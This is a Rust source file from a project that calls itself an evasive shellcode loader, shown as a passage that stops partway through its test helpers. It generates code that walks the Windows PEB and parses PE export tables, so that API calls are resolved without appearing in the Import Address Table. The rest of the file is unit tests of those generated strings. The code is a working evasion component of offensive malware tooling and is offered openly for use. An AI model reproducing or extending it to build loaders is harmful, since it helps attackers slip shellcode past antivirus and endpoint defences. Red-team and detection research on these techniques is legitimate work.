myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

base.rs (66483B)

      1 /// API resolver template for custom PEB-based module resolution
      2 ///
      3 /// This module provides template functions that generate code for resolving
      4 /// Windows APIs without leaving static artifacts in the Import Address Table.
      5 ///
      6 /// Generate inline assembly code to retrieve PEB pointer for both x86 and x64 Windows
      7 fn get_peb_asm() -> &'static str {
      8     r#"let peb: *mut PEB;
      9     #[cfg(target_pointer_width = "64")]
     10     {
     11         #[cfg(target_env = "msvc")]
     12         std::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack));
     13         #[cfg(not(target_env = "msvc"))]
     14         std::arch::asm!("mov {}, gs:[0x60]", out(reg) peb, options(nostack));
     15     }
     16     #[cfg(target_pointer_width = "32")]
     17     {
     18         #[cfg(target_env = "msvc")]
     19         std::arch::asm!("mov {}, dword ptr fs:[0x30]", out(reg) peb, options(nostack));
     20         #[cfg(not(target_env = "msvc"))]
     21         std::arch::asm!("mov {}, fs:[0x30]", out(reg) peb, options(nostack));
     22     }"#
     23 }
     24 
     25 /// Generate PEB structure imports from ntapi crate
     26 pub fn peb_structures() -> &'static str {
     27     r#"use std::ffi::c_void;
     28 use std::ptr;
     29 use ntapi::ntpebteb::PEB;
     30 use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
     31 use winapi::shared::ntdef::LIST_ENTRY;"#
     32 }
     33 
     34 /// Generate PE export directory structures for parsing module exports
     35 pub fn pe_export_structures() -> &'static str {
     36     r#"#[repr(C)]
     37 #[allow(non_snake_case)]
     38 struct IMAGE_DOS_HEADER {
     39     e_magic: u16,
     40     e_cblp: u16,
     41     e_cp: u16,
     42     e_crlc: u16,
     43     e_cparhdr: u16,
     44     e_minalloc: u16,
     45     e_maxalloc: u16,
     46     e_ss: u16,
     47     e_sp: u16,
     48     e_csum: u16,
     49     e_ip: u16,
     50     e_cs: u16,
     51     e_lfarlc: u16,
     52     e_ovno: u16,
     53     e_res: [u16; 4],
     54     e_oemid: u16,
     55     e_oeminfo: u16,
     56     e_res2: [u16; 10],
     57     e_lfanew: i32,
     58 }
     59 
     60 #[repr(C)]
     61 #[allow(non_snake_case)]
     62 struct IMAGE_FILE_HEADER {
     63     Machine: u16,
     64     NumberOfSections: u16,
     65     TimeDateStamp: u32,
     66     PointerToSymbolTable: u32,
     67     NumberOfSymbols: u32,
     68     SizeOfOptionalHeader: u16,
     69     Characteristics: u16,
     70 }
     71 
     72 #[repr(C)]
     73 #[allow(non_snake_case)]
     74 struct IMAGE_DATA_DIRECTORY {
     75     VirtualAddress: u32,
     76     Size: u32,
     77 }
     78 
     79 #[repr(C)]
     80 #[allow(non_snake_case)]
     81 struct IMAGE_OPTIONAL_HEADER64 {
     82     Magic: u16,
     83     MajorLinkerVersion: u8,
     84     MinorLinkerVersion: u8,
     85     SizeOfCode: u32,
     86     SizeOfInitializedData: u32,
     87     SizeOfUninitializedData: u32,
     88     AddressOfEntryPoint: u32,
     89     BaseOfCode: u32,
     90     ImageBase: u64,
     91     SectionAlignment: u32,
     92     FileAlignment: u32,
     93     MajorOperatingSystemVersion: u16,
     94     MinorOperatingSystemVersion: u16,
     95     MajorImageVersion: u16,
     96     MinorImageVersion: u16,
     97     MajorSubsystemVersion: u16,
     98     MinorSubsystemVersion: u16,
     99     Win32VersionValue: u32,
    100     SizeOfImage: u32,
    101     SizeOfHeaders: u32,
    102     CheckSum: u32,
    103     Subsystem: u16,
    104     DllCharacteristics: u16,
    105     SizeOfStackReserve: u64,
    106     SizeOfStackCommit: u64,
    107     SizeOfHeapReserve: u64,
    108     SizeOfHeapCommit: u64,
    109     LoaderFlags: u32,
    110     NumberOfRvaAndSizes: u32,
    111     DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
    112 }
    113 
    114 #[repr(C)]
    115 #[allow(non_snake_case)]
    116 struct IMAGE_OPTIONAL_HEADER32 {
    117     Magic: u16,
    118     MajorLinkerVersion: u8,
    119     MinorLinkerVersion: u8,
    120     SizeOfCode: u32,
    121     SizeOfInitializedData: u32,
    122     SizeOfUninitializedData: u32,
    123     AddressOfEntryPoint: u32,
    124     BaseOfCode: u32,
    125     BaseOfData: u32,
    126     ImageBase: u32,
    127     SectionAlignment: u32,
    128     FileAlignment: u32,
    129     MajorOperatingSystemVersion: u16,
    130     MinorOperatingSystemVersion: u16,
    131     MajorImageVersion: u16,
    132     MinorImageVersion: u16,
    133     MajorSubsystemVersion: u16,
    134     MinorSubsystemVersion: u16,
    135     Win32VersionValue: u32,
    136     SizeOfImage: u32,
    137     SizeOfHeaders: u32,
    138     CheckSum: u32,
    139     Subsystem: u16,
    140     DllCharacteristics: u16,
    141     SizeOfStackReserve: u32,
    142     SizeOfStackCommit: u32,
    143     SizeOfHeapReserve: u32,
    144     SizeOfHeapCommit: u32,
    145     LoaderFlags: u32,
    146     NumberOfRvaAndSizes: u32,
    147     DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
    148 }
    149 
    150 #[repr(C)]
    151 #[allow(non_snake_case)]
    152 struct IMAGE_NT_HEADERS64 {
    153     Signature: u32,
    154     FileHeader: IMAGE_FILE_HEADER,
    155     OptionalHeader: IMAGE_OPTIONAL_HEADER64,
    156 }
    157 
    158 #[repr(C)]
    159 #[allow(non_snake_case)]
    160 struct IMAGE_NT_HEADERS32 {
    161     Signature: u32,
    162     FileHeader: IMAGE_FILE_HEADER,
    163     OptionalHeader: IMAGE_OPTIONAL_HEADER32,
    164 }
    165 
    166 #[repr(C)]
    167 #[allow(non_snake_case)]
    168 struct IMAGE_EXPORT_DIRECTORY {
    169     Characteristics: u32,
    170     TimeDateStamp: u32,
    171     MajorVersion: u16,
    172     MinorVersion: u16,
    173     Name: u32,
    174     Base: u32,
    175     NumberOfFunctions: u32,
    176     NumberOfNames: u32,
    177     AddressOfFunctions: u32,
    178     AddressOfNames: u32,
    179     AddressOfNameOrdinals: u32,
    180 }"#
    181 }
    182 
    183 /// Generate helper function for Unicode case folding
    184 pub fn unicode_case_fold_fn() -> &'static str {
    185     r#"unsafe fn unicode_case_fold(c: u16) -> u16 {
    186     match c {
    187         0x0041..=0x005A => c + 32,
    188         0x00C0..=0x00D6 => c + 32,
    189         0x00D8..=0x00DE => c + 32,
    190         0x0100..=0x012E => if c % 2 == 0 { c + 1 } else { c },
    191         0x0132..=0x0136 => if c % 2 == 0 { c + 1 } else { c },
    192         0x0139..=0x0147 => if c % 2 == 1 { c + 1 } else { c },
    193         0x014A..=0x0176 => if c % 2 == 0 { c + 1 } else { c },
    194         0x0178 => 0x00FF,
    195         0x0179..=0x017D => if c % 2 == 1 { c + 1 } else { c },
    196         0x0181 => 0x0253,
    197         0x0182..=0x0184 => if c % 2 == 0 { c + 1 } else { c },
    198         0x0186 => 0x0254,
    199         0x0187 => 0x0188,
    200         0x0189 => 0x0256,
    201         0x018A => 0x0257,
    202         0x018B => 0x018C,
    203         0x018E => 0x01DD,
    204         0x018F => 0x0259,
    205         0x0190 => 0x025B,
    206         0x0191 => 0x0192,
    207         0x0193 => 0x0260,
    208         0x0194 => 0x0263,
    209         0x0196 => 0x0269,
    210         0x0197 => 0x0268,
    211         0x0198 => 0x0199,
    212         0x019C => 0x026F,
    213         0x019D => 0x0272,
    214         0x019F => 0x0275,
    215         0x01A0..=0x01A4 => if c % 2 == 0 { c + 1 } else { c },
    216         0x01A6 => 0x0280,
    217         0x01A7 => 0x01A8,
    218         0x01A9 => 0x0283,
    219         0x01AC => 0x01AD,
    220         0x01AE => 0x0288,
    221         0x01AF => 0x01B0,
    222         0x01B1 => 0x028A,
    223         0x01B2 => 0x028B,
    224         0x01B3..=0x01B5 => if c % 2 == 1 { c + 1 } else { c },
    225         0x01B7 => 0x0292,
    226         0x01B8 => 0x01B9,
    227         0x01BC => 0x01BD,
    228         0x01C4 => 0x01C6,
    229         0x01C5 => 0x01C6,
    230         0x01C7 => 0x01C9,
    231         0x01C8 => 0x01C9,
    232         0x01CA => 0x01CC,
    233         0x01CB..=0x01DB => if c % 2 == 1 { c + 1 } else { c },
    234         0x01DE..=0x01EE => if c % 2 == 0 { c + 1 } else { c },
    235         0x01F1 => 0x01F3,
    236         0x01F2 => 0x01F3,
    237         0x01F4 => 0x01F5,
    238         0x01F6 => 0x0195,
    239         0x01F7 => 0x01BF,
    240         0x01F8..=0x021E => if c % 2 == 0 { c + 1 } else { c },
    241         0x0220 => 0x019E,
    242         0x0222..=0x0232 => if c % 2 == 0 { c + 1 } else { c },
    243         0x023A => 0x2C65,
    244         0x023B => 0x023C,
    245         0x023D => 0x019A,
    246         0x023E => 0x2C66,
    247         0x0241 => 0x0242,
    248         0x0243 => 0x0180,
    249         0x0244 => 0x0289,
    250         0x0245 => 0x028C,
    251         0x0246..=0x024E => if c % 2 == 0 { c + 1 } else { c },
    252         0x0370..=0x0372 => if c % 2 == 0 { c + 1 } else { c },
    253         0x0376 => 0x0377,
    254         0x037F => 0x03F3,
    255         0x0386 => 0x03AC,
    256         0x0388..=0x038A => c + 37,
    257         0x038C => 0x03CC,
    258         0x038E..=0x038F => c + 63,
    259         0x0391..=0x03A1 => c + 32,
    260         0x03A3..=0x03AB => c + 32,
    261         0x03CF => 0x03D7,
    262         0x03D8..=0x03EE => if c % 2 == 0 { c + 1 } else { c },
    263         0x03F4 => 0x03B8,
    264         0x03F7 => 0x03F8,
    265         0x03F9 => 0x03F2,
    266         0x03FA => 0x03FB,
    267         0x03FD..=0x03FF => c - 130,
    268         0x0400..=0x040F => c + 80,
    269         0x0410..=0x042F => c + 32,
    270         0x0460..=0x0480 => if c % 2 == 0 { c + 1 } else { c },
    271         0x048A..=0x04BE => if c % 2 == 0 { c + 1 } else { c },
    272         0x04C0 => 0x04CF,
    273         0x04C1..=0x04CD => if c % 2 == 1 { c + 1 } else { c },
    274         0x04D0..=0x052E => if c % 2 == 0 { c + 1 } else { c },
    275         0x0531..=0x0556 => c + 48,
    276         0x10A0..=0x10C5 => c + 7264,
    277         0x10C7 => 0x2D27,
    278         0x10CD => 0x2D2D,
    279         0x13A0..=0x13EF => c + 38864,
    280         0x13F0..=0x13F5 => c + 8,
    281         0x1C90..=0x1CBA => c - 3008,
    282         0x1CBD..=0x1CBF => c - 3008,
    283         0x1E00..=0x1E94 => if c % 2 == 0 { c + 1 } else { c },
    284         0x1E9E => 0x00DF,
    285         0x1EA0..=0x1EFE => if c % 2 == 0 { c + 1 } else { c },
    286         0x1F08..=0x1F0F => c - 8,
    287         0x1F18..=0x1F1D => c - 8,
    288         0x1F28..=0x1F2F => c - 8,
    289         0x1F38..=0x1F3F => c - 8,
    290         0x1F48..=0x1F4D => c - 8,
    291         0x1F59 | 0x1F5B | 0x1F5D | 0x1F5F => c - 8,
    292         0x1F68..=0x1F6F => c - 8,
    293         0x1F88..=0x1F8F => c - 8,
    294         0x1F98..=0x1F9F => c - 8,
    295         0x1FA8..=0x1FAF => c - 8,
    296         0x1FB8..=0x1FB9 => c - 8,
    297         0x1FBA..=0x1FBB => c - 74,
    298         0x1FBC => 0x1FB3,
    299         0x1FC8..=0x1FCB => c - 86,
    300         0x1FCC => 0x1FC3,
    301         0x1FD8..=0x1FD9 => c - 8,
    302         0x1FDA..=0x1FDB => c - 100,
    303         0x1FE8..=0x1FE9 => c - 8,
    304         0x1FEA..=0x1FEB => c - 112,
    305         0x1FEC => 0x1FE5,
    306         0x1FF8..=0x1FF9 => c - 128,
    307         0x1FFA..=0x1FFB => c - 126,
    308         0x1FFC => 0x1FF3,
    309         0x2126 => 0x03C9,
    310         0x212A => 0x006B,
    311         0x212B => 0x00E5,
    312         0x2132 => 0x214E,
    313         0x2160..=0x216F => c + 16,
    314         0x2183 => 0x2184,
    315         0x24B6..=0x24CF => c + 26,
    316         0x2C00..=0x2C2F => c + 48,
    317         0x2C60 => 0x2C61,
    318         0x2C62 => 0x026B,
    319         0x2C63 => 0x1D7D,
    320         0x2C64 => 0x027D,
    321         0x2C67..=0x2C6B => if c % 2 == 1 { c + 1 } else { c },
    322         0x2C6D => 0x0251,
    323         0x2C6E => 0x0271,
    324         0x2C6F => 0x0250,
    325         0x2C70 => 0x0252,
    326         0x2C72 => 0x2C73,
    327         0x2C75 => 0x2C76,
    328         0x2C7E..=0x2C7F => c - 10815,
    329         0x2C80..=0x2CE2 => if c % 2 == 0 { c + 1 } else { c },
    330         0x2CEB..=0x2CED => if c % 2 == 1 { c + 1 } else { c },
    331         0x2CF2 => 0x2CF3,
    332         0xA640..=0xA66C => if c % 2 == 0 { c + 1 } else { c },
    333         0xA680..=0xA69A => if c % 2 == 0 { c + 1 } else { c },
    334         0xA722..=0xA72E => if c % 2 == 0 { c + 1 } else { c },
    335         0xA732..=0xA76E => if c % 2 == 0 { c + 1 } else { c },
    336         0xA779..=0xA77B => if c % 2 == 1 { c + 1 } else { c },
    337         0xA77D => 0x1D79,
    338         0xA77E..=0xA786 => if c % 2 == 0 { c + 1 } else { c },
    339         0xA78B => 0xA78C,
    340         0xA78D => 0x0265,
    341         0xA790..=0xA792 => if c % 2 == 0 { c + 1 } else { c },
    342         0xA796..=0xA7A8 => if c % 2 == 0 { c + 1 } else { c },
    343         0xA7AA => 0x0266,
    344         0xA7AB => 0x025C,
    345         0xA7AC => 0x0261,
    346         0xA7AD => 0x026C,
    347         0xA7AE => 0x026A,
    348         0xA7B0 => 0x029E,
    349         0xA7B1 => 0x0287,
    350         0xA7B2 => 0x029D,
    351         0xA7B3 => 0xAB53,
    352         0xA7B4..=0xA7C2 => if c % 2 == 0 { c + 1 } else { c },
    353         0xA7C4 => 0xA794,
    354         0xA7C5 => 0x0282,
    355         0xA7C6 => 0x1D8E,
    356         0xA7C7..=0xA7C9 => if c % 2 == 1 { c + 1 } else { c },
    357         0xA7D0 => 0xA7D1,
    358         0xA7D6 => 0xA7D7,
    359         0xA7D8 => 0xA7D9,
    360         0xA7F5 => 0xA7F6,
    361         0xFF21..=0xFF3A => c + 32,
    362         _ => c,
    363     }
    364 }"#
    365 }
    366 
    367 /// Generate helper function for comparing DLL names with Unicode case folding
    368 pub fn is_dll_match_fn() -> &'static str {
    369     r#"unsafe fn is_dll_match(ldr_entry: *mut LDR_DATA_TABLE_ENTRY, target: &str) -> bool {
    370     if ldr_entry.is_null() || (*ldr_entry).BaseDllName.Buffer.is_null() {
    371         return false;
    372     }
    373 
    374     let len = (*ldr_entry).BaseDllName.Length as usize / 2;
    375     let name_slice = std::slice::from_raw_parts(
    376         (*ldr_entry).BaseDllName.Buffer,
    377         len
    378     );
    379 
    380     let target_w: Vec<u16> = target.encode_utf16().collect();
    381 
    382     if name_slice.len() != target_w.len() {
    383         return false;
    384     }
    385 
    386     name_slice.iter().zip(target_w.iter()).all(|(a, b)| {
    387         unicode_case_fold(*a) == unicode_case_fold(*b)
    388     })
    389 }"#
    390 }
    391 
    392 /// Generate the main PEB-walking resolver function
    393 pub fn get_module_base_fn() -> String {
    394     format!(
    395         r#"pub unsafe fn get_module_base(target_dll: &str) -> *mut c_void {{
    396     {}
    397 
    398     if peb.is_null() {{
    399         return ptr::null_mut();
    400     }}
    401 
    402     let ldr = (*peb).Ldr;
    403     if ldr.is_null() {{
    404         return ptr::null_mut();
    405     }}
    406 
    407     let head = &mut (*ldr).InMemoryOrderModuleList as *mut LIST_ENTRY;
    408     let mut curr = (*head).Flink;
    409 
    410     while curr != head {{
    411         let entry = (curr as *mut u8).sub(0x10) as *mut LDR_DATA_TABLE_ENTRY;
    412 
    413         if is_dll_match(entry, target_dll) {{
    414             return (*entry).DllBase as *mut c_void;
    415         }}
    416         curr = (*curr).Flink;
    417     }}
    418 
    419     ptr::null_mut()
    420 }}"#,
    421         get_peb_asm()
    422     )
    423 }
    424 
    425 /// Generate function to resolve function address from module exports
    426 pub fn get_function_address_fn() -> &'static str {
    427     r#"pub unsafe fn get_function_address(module_base: *mut c_void, function_name: &str) -> *mut c_void {
    428     get_function_address_internal(module_base, function_name, 0)
    429 }
    430 
    431 unsafe fn get_function_address_internal(module_base: *mut c_void, function_name: &str, depth: u32) -> *mut c_void {
    432     const MAX_FORWARD_STR_LEN: isize = 256;
    433     const MAX_RECURSION_DEPTH: u32 = 10;
    434     
    435     if module_base.is_null() || depth > MAX_RECURSION_DEPTH {
    436         return ptr::null_mut();
    437     }
    438 
    439     let dos_header = module_base as *const IMAGE_DOS_HEADER;
    440     if (*dos_header).e_magic != 0x5A4D {
    441         return ptr::null_mut();
    442     }
    443 
    444     #[cfg(target_pointer_width = "64")]
    445     let (export_dir_rva, export_dir_size) = {
    446         let nt_headers = (module_base as *const u8).offset((*dos_header).e_lfanew as isize) as *const IMAGE_NT_HEADERS64;
    447         if (*nt_headers).Signature != 0x4550 {
    448             return ptr::null_mut();
    449         }
    450         (
    451             (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress,
    452             (*nt_headers).OptionalHeader.DataDirectory[0].Size
    453         )
    454     };
    455 
    456     #[cfg(target_pointer_width = "32")]
    457     let (export_dir_rva, export_dir_size) = {
    458         let nt_headers = (module_base as *const u8).offset((*dos_header).e_lfanew as isize) as *const IMAGE_NT_HEADERS32;
    459         if (*nt_headers).Signature != 0x4550 {
    460             return ptr::null_mut();
    461         }
    462         (
    463             (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress,
    464             (*nt_headers).OptionalHeader.DataDirectory[0].Size
    465         )
    466     };
    467 
    468     if export_dir_rva == 0 {
    469         return ptr::null_mut();
    470     }
    471 
    472     let export_dir = (module_base as *const u8).offset(export_dir_rva as isize) as *const IMAGE_EXPORT_DIRECTORY;
    473     
    474     let num_names = (*export_dir).NumberOfNames;
    475     let addr_of_names = (module_base as *const u8).offset((*export_dir).AddressOfNames as isize) as *const u32;
    476     let addr_of_functions = (module_base as *const u8).offset((*export_dir).AddressOfFunctions as isize) as *const u32;
    477     let addr_of_name_ordinals = (module_base as *const u8).offset((*export_dir).AddressOfNameOrdinals as isize) as *const u16;
    478 
    479     let target_bytes = function_name.as_bytes();
    480 
    481     for i in 0..num_names {
    482         let name_rva = *addr_of_names.offset(i as isize);
    483         let name_ptr = (module_base as *const u8).offset(name_rva as isize);
    484         
    485         let mut match_found = true;
    486         let mut j = 0;
    487         while j < target_bytes.len() {
    488             if *name_ptr.offset(j as isize) != target_bytes[j] {
    489                 match_found = false;
    490                 break;
    491             }
    492             j += 1;
    493         }
    494         
    495         if match_found && *name_ptr.offset(j as isize) == 0 {
    496             let ordinal = *addr_of_name_ordinals.offset(i as isize);
    497             let func_rva = *addr_of_functions.offset(ordinal as isize);
    498             
    499             if func_rva >= export_dir_rva && func_rva < export_dir_rva + export_dir_size {
    500                 let forward_str_ptr = (module_base as *const u8).offset(func_rva as isize);
    501                 let mut forward_str = Vec::new();
    502                 let mut k = 0;
    503                 loop {
    504                     let byte = *forward_str_ptr.offset(k);
    505                     if byte == 0 {
    506                         break;
    507                     }
    508                     forward_str.push(byte);
    509                     k += 1;
    510                     if k > MAX_FORWARD_STR_LEN {
    511                         return ptr::null_mut();
    512                     }
    513                 }
    514                 
    515                 if let Ok(forward_string) = std::str::from_utf8(&forward_str) {
    516                     if let Some(dot_pos) = forward_string.find('.') {
    517                         let dll_name = &forward_string[..dot_pos];
    518                         let func_name = &forward_string[dot_pos + 1..];
    519                         
    520                         let mut dll_with_ext = String::from(dll_name);
    521                         if !dll_with_ext.ends_with(".dll") {
    522                             dll_with_ext.push_str(".dll");
    523                         }
    524                         
    525                         let forwarded_module = get_module_base(&dll_with_ext);
    526                         if !forwarded_module.is_null() {
    527                             return get_function_address_internal(forwarded_module, func_name, depth + 1);
    528                         }
    529                     }
    530                 }
    531                 return ptr::null_mut();
    532             }
    533             
    534             return (module_base as *const u8).offset(func_rva as isize) as *mut c_void;
    535         }
    536     }
    537 
    538     ptr::null_mut()
    539 }"#
    540 }
    541 
    542 /// Generate complete API resolver module code
    543 pub fn generate_api_resolver() -> String {
    544     format!(
    545         "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}",
    546         peb_structures(),
    547         pe_export_structures(),
    548         unicode_case_fold_fn(),
    549         is_dll_match_fn(),
    550         get_module_base_fn(),
    551         get_function_address_fn()
    552     )
    553 }
    554 
    555 #[cfg(test)]
    556 mod tests {
    557     use super::*;
    558 
    559     #[test]
    560     fn test_peb_structures_contains_all_types() {
    561         let code = peb_structures();
    562         assert!(code.contains("PEB"));
    563         assert!(code.contains("LIST_ENTRY"));
    564         assert!(code.contains("LDR_DATA_TABLE_ENTRY"));
    565     }
    566 
    567     #[test]
    568     fn test_peb_structures_has_imports() {
    569         let code = peb_structures();
    570         assert!(code.contains("use ntapi::ntpebteb"));
    571         assert!(code.contains("use ntapi::ntldr"));
    572         assert!(code.contains("use winapi::shared::ntdef"));
    573     }
    574 
    575     #[test]
    576     fn test_peb_structures_imports_peb_types() {
    577         let code = peb_structures();
    578         assert!(code.contains("PEB"));
    579     }
    580 
    581     #[test]
    582     fn test_peb_structures_imports_ldr_types() {
    583         let code = peb_structures();
    584         assert!(code.contains("LDR_DATA_TABLE_ENTRY"));
    585     }
    586 
    587     #[test]
    588     fn test_peb_structures_imports_ntdef_types() {
    589         let code = peb_structures();
    590         assert!(code.contains("LIST_ENTRY"));
    591     }
    592 
    593     // These tests no longer apply since we're using crate types instead of manual definitions
    594     // The types from ntapi are #[repr(C)] and have correct field layouts by definition
    595 
    596     #[test]
    597     fn test_is_dll_match_checks_null() {
    598         let code = is_dll_match_fn();
    599         assert!(code.contains("is_null()"));
    600         assert!(code.contains("return false"));
    601     }
    602 
    603     #[test]
    604     fn test_is_dll_match_uses_wide_strings() {
    605         let code = is_dll_match_fn();
    606         assert!(code.contains("encode_utf16"));
    607         assert!(code.contains("Vec<u16>"));
    608     }
    609 
    610     #[test]
    611     fn test_is_dll_match_compares_names() {
    612         let code = is_dll_match_fn();
    613         assert!(code.contains("unicode_case_fold"));
    614         assert!(code.contains("BaseDllName"));
    615         assert!(code.contains("name_slice.len() != target_w.len()"));
    616     }
    617 
    618     #[test]
    619     fn test_get_module_base_reads_peb() {
    620         let code = get_module_base_fn();
    621         assert!(code.contains("gs:[0x60]") || code.contains("fs:[0x30]"));
    622         assert!(code.contains("std::arch::asm!"));
    623         assert!(code.contains("target_pointer_width"));
    624     }
    625 
    626     #[test]
    627     fn test_get_module_base_walks_list() {
    628         let code = get_module_base_fn();
    629         assert!(code.contains("while curr != head"));
    630         assert!(code.contains("(*curr).Flink")); // PascalCase from ntapi
    631     }
    632 
    633     #[test]
    634     fn test_get_module_base_calculates_entry_offset() {
    635         let code = get_module_base_fn();
    636         assert!(code.contains("0x10")); // Offset to InMemoryOrderLinks in LDR_DATA_TABLE_ENTRY
    637         assert!(code.contains("LDR_DATA_TABLE_ENTRY"));
    638     }
    639 
    640     #[test]
    641     fn test_get_module_base_returns_dll_base() {
    642         let code = get_module_base_fn();
    643         assert!(code.contains("return (*entry).DllBase as *mut c_void")); // Cast to std::ffi::c_void
    644     }
    645 
    646     #[test]
    647     fn test_get_module_base_returns_null_if_not_found() {
    648         let code = get_module_base_fn();
    649         assert!(code.contains("ptr::null_mut()"));
    650     }
    651 
    652     #[test]
    653     fn test_get_module_base_uses_is_dll_match() {
    654         let code = get_module_base_fn();
    655         assert!(code.contains("is_dll_match(entry, target_dll)"));
    656     }
    657 
    658     #[test]
    659     fn test_generate_api_resolver_includes_all_parts() {
    660         let code = generate_api_resolver();
    661         assert!(code.contains("use ntapi")); // Check for imports instead of struct definitions
    662         assert!(code.contains("unsafe fn is_dll_match"));
    663         assert!(code.contains("pub unsafe fn get_module_base"));
    664     }
    665 
    666     #[test]
    667     fn test_generate_api_resolver_properly_formatted() {
    668         let code = generate_api_resolver();
    669         let lines: Vec<&str> = code.lines().collect();
    670         assert!(
    671             lines.len() > 10,
    672             "Generated code should have multiple lines"
    673         );
    674     }
    675 
    676     #[test]
    677     fn test_pe_export_structures_contains_all_types() {
    678         let code = pe_export_structures();
    679         assert!(code.contains("IMAGE_DOS_HEADER"));
    680         assert!(code.contains("IMAGE_NT_HEADERS64"));
    681         assert!(code.contains("IMAGE_EXPORT_DIRECTORY"));
    682         assert!(code.contains("IMAGE_FILE_HEADER"));
    683         assert!(code.contains("IMAGE_OPTIONAL_HEADER64"));
    684         assert!(code.contains("IMAGE_DATA_DIRECTORY"));
    685     }
    686 
    687     #[test]
    688     fn test_pe_export_structures_has_required_fields() {
    689         let code = pe_export_structures();
    690         assert!(code.contains("e_magic"));
    691         assert!(code.contains("e_lfanew"));
    692         assert!(code.contains("DataDirectory"));
    693         assert!(code.contains("NumberOfFunctions"));
    694         assert!(code.contains("AddressOfFunctions"));
    695         assert!(code.contains("AddressOfNames"));
    696         assert!(code.contains("AddressOfNameOrdinals"));
    697     }
    698 
    699     #[test]
    700     fn test_get_function_address_checks_null_module() {
    701         let code = get_function_address_fn();
    702         assert!(code.contains("if module_base.is_null()"));
    703         assert!(code.contains("return ptr::null_mut()"));
    704     }
    705 
    706     #[test]
    707     fn test_get_function_address_validates_pe_signature() {
    708         let code = get_function_address_fn();
    709         assert!(code.contains("0x5A4D")); // MZ signature
    710         assert!(code.contains("0x4550")); // PE signature
    711     }
    712 
    713     #[test]
    714     fn test_get_function_address_parses_export_directory() {
    715         let code = get_function_address_fn();
    716         assert!(code.contains("IMAGE_EXPORT_DIRECTORY"));
    717         assert!(code.contains("NumberOfNames"));
    718         assert!(code.contains("AddressOfNames"));
    719         assert!(code.contains("AddressOfFunctions"));
    720         assert!(code.contains("AddressOfNameOrdinals"));
    721     }
    722 
    723     #[test]
    724     fn test_get_function_address_compares_function_names() {
    725         let code = get_function_address_fn();
    726         assert!(code.contains("function_name.as_bytes()"));
    727         assert!(code.contains("name_ptr"));
    728     }
    729 
    730     #[test]
    731     fn test_get_function_address_returns_function_pointer() {
    732         let code = get_function_address_fn();
    733         assert!(code.contains("func_rva"));
    734         assert!(code.contains("as *mut c_void"));
    735     }
    736 
    737     #[test]
    738     fn test_generate_api_resolver_includes_export_parsing() {
    739         let code = generate_api_resolver();
    740         assert!(code.contains("IMAGE_EXPORT_DIRECTORY"));
    741         assert!(code.contains("pub unsafe fn get_function_address"));
    742     }
    743 
    744     #[test]
    745     fn test_generate_api_resolver_has_both_functions() {
    746         let code = generate_api_resolver();
    747         assert!(code.contains("pub unsafe fn get_module_base"));
    748         assert!(code.contains("pub unsafe fn get_function_address"));
    749     }
    750 
    751     #[test]
    752     fn test_unicode_case_fold_function_exists() {
    753         let code = generate_api_resolver();
    754         assert!(code.contains("unsafe fn unicode_case_fold"));
    755         assert!(code.contains("match c {"));
    756     }
    757 
    758     #[test]
    759     fn test_x86_support_in_peb_asm() {
    760         let asm_code = get_peb_asm();
    761         assert!(asm_code.contains("target_pointer_width"));
    762         assert!(asm_code.contains("fs:[0x30]"));
    763         assert!(asm_code.contains("gs:[0x60]"));
    764     }
    765 
    766     #[test]
    767     fn test_x86_structures_exist() {
    768         let code = pe_export_structures();
    769         assert!(code.contains("IMAGE_NT_HEADERS32"));
    770         assert!(code.contains("IMAGE_OPTIONAL_HEADER32"));
    771         assert!(code.contains("BaseOfData"));
    772     }
    773 
    774     #[test]
    775     fn test_forwarded_export_detection() {
    776         let code = get_function_address_fn();
    777         assert!(code.contains("export_dir_size"));
    778         assert!(code.contains("forward_str"));
    779         assert!(code.contains("get_module_base"));
    780     }
    781 
    782     #[test]
    783     fn test_forwarded_export_recursion_limit() {
    784         let code = get_function_address_fn();
    785         assert!(code.contains("depth"));
    786         assert!(code.contains("MAX_RECURSION_DEPTH") || code.contains("depth > 10"));
    787     }
    788 
    789     #[test]
    790     fn test_forwarded_export_parsing() {
    791         let code = get_function_address_fn();
    792         assert!(code.contains("find('.')"));
    793         assert!(code.contains("dll_name"));
    794         assert!(code.contains("func_name"));
    795     }
    796 
    797     #[test]
    798     fn test_x86_and_x64_conditional_compilation() {
    799         let code = get_function_address_fn();
    800         assert!(code.contains("#[cfg(target_pointer_width = \"64\")]"));
    801         assert!(code.contains("#[cfg(target_pointer_width = \"32\")]"));
    802         assert!(code.contains("IMAGE_NT_HEADERS64"));
    803         assert!(code.contains("IMAGE_NT_HEADERS32"));
    804     }
    805 
    806     #[test]
    807     fn test_unicode_case_fold_has_comprehensive_mappings() {
    808         let code = unicode_case_fold_fn();
    809         assert!(code.contains("0x0041..=0x005A"));
    810         assert!(code.contains("0x0391..=0x03A1"));
    811         assert!(code.contains("0x0410..=0x042F"));
    812         assert!(code.contains("0xFF21..=0xFF3A"));
    813     }
    814 
    815     #[test]
    816     fn test_is_dll_match_uses_unicode_case_fold() {
    817         let code = is_dll_match_fn();
    818         assert!(code.contains("unicode_case_fold(*a)"));
    819         assert!(code.contains("unicode_case_fold(*b)"));
    820     }
    821 
    822     // Shared helper functions for Windows integration tests
    823     #[cfg(target_os = "windows")]
    824     mod test_helpers {
    825         use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
    826         use ntapi::ntpebteb::PEB;
    827         use std::ptr;
    828         use winapi::shared::ntdef::LIST_ENTRY;
    829 
    830         unsafe fn unicode_case_fold_impl(c: u16) -> u16 {
    831             match c {
    832                 0x0041..=0x005A => c + 32,
    833                 0x00C0..=0x00D6 => c + 32,
    834                 0x00D8..=0x00DE => c + 32,
    835                 0x0100..=0x012E => {
    836                     if c % 2 == 0 {
    837                         c + 1
    838                     } else {
    839                         c
    840                     }
    841                 }
    842                 0x0132..=0x0136 => {
    843                     if c % 2 == 0 {
    844                         c + 1
    845                     } else {
    846                         c
    847                     }
    848                 }
    849                 0x0139..=0x0147 => {
    850                     if c % 2 == 1 {
    851                         c + 1
    852                     } else {
    853                         c
    854                     }
    855                 }
